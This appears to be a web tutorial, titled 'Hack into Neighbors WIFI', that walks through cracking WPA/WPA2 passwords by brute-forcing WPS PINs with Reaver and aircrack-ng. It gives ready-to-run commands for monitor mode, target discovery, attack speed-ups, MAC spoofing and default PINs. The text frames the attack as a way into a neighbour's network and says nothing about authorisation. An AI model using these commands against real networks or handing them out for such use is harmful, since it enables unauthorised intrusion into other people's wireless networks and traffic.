Hack into Neighbors WIFI – WPA secured using Reaver

WIFI WPA Hack Step by Step with Reaver.. Reaver has been designed to be a robust and practical attack against Wi-Fi Protected Setup (WPS) registrar PINs in order to recover WPA/WPA2 passphrases and has been tested against a wide variety of access points and WPS implementations.

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Hacking WPA WIFI with Reaver

What you need :

Download Reaver: https://github.com/gabrielrcouto/reaver-wps

Download Aircrack-ng: https://www.aircrack-ng.org/

1. Get your device information

From terminal iwconfig -used to discover your wifi card name (wlan0)

2. Put wireless card into monitor mode

From terminal airmon-ng start wlan0 (make a note of monitor interface name normally mon0)

3. Find the BSSID of the router you want to crack:

From terminal airodump-ng wlan0 or airodump-ng mon0

4. Copy the networks BSSID (look for traffic between bssid and station)

5. start reaver

From terminal reaver -i mon0 -b BSSID -vv

Additional Notes on Reaver

Basic Usage
First, make sure your wireless card is in monitor mode:


airmon-ng start wlan0

To run Reaver, you must specify the BSSID of the target AP and the name of the monitor mode interface (usually ‘mon0’, not ‘wlan0’, although this will vary based on your wireless card/drivers):


reaver -i mon0 -b 00:01:02:03:04:05

You will probably also want to use -vv to get verbose info about Reaver’s progress:


reaver -i mon0 -b 00:01:02:03:04:05 -vv

Speeding Up the Attack
By default, Reaver has a 1 second delay between pin attempts. You can disable this delay by adding ‘-d 0’ on the command line, but some APs may not like it:


reaver -i mon0 -b 00:01:02:03:04:05 -vv -d 0

Another option that can speed up an attack is –dh-small. This option instructs Reaver to use small diffie-hellman secret numbers in order to reduce the computational load on the target AP:


reaver -i mon0 -b 00:01:02:03:04:05 -vv –dh-small

MAC Spoofing
In some cases you may want/need to spoof your MAC address. Reaver supports MAC spoofing with the –mac option, but you must ensure that you have spoofed your MAC correctly in order for it to work.

Changing the MAC address of the virtual monitor mode interface (typically named mon0) WILL NOT WORK. You must change the MAC address of your wireless card’s physical interface. For example:


ifconfig wlan0 down
ifconfig wlan0 hw ether 00:BA:AD:BE:EF:69
ifconfig wlan0 up
airmon-ng start wlan0
reaver -i mon0 -b 00:01:02:03:04:05 -vv –mac=00:BA:AD:BE:EF:69

Default Pins
It has been reported that some models/vendors/ISPs all come configured with a default pin. Common pins are 12345670, 00005678, 01230000, etc. Reaver attempts known default pins first.

Errors and Warnings
It is not uncommon to get a few errors or warnings during the attack, usually related to receive timeouts or out of order WPS messages. You may even get these warnings for a few minutes until the pin count starts incrementing again.

However, if your pin count does not increment at all, or increments only occasionally with lots of errors/warnings, answer the following:

Does the target AP support WPS and is WPS enabled?
Did you put your wireless card into monitor mode?
Did you specify the monitor mode interface with the -i option?
Do you have a good signal from the AP?
If you still have problems, you can see if your problem is already listed in the project issue tracker. If not, create a new issue, and be sure to include:

Linux distro, distro version, and architecture (32 bit or 64bit?)
Wireless card and driver
Pcap file demonstrating the issue, if possible..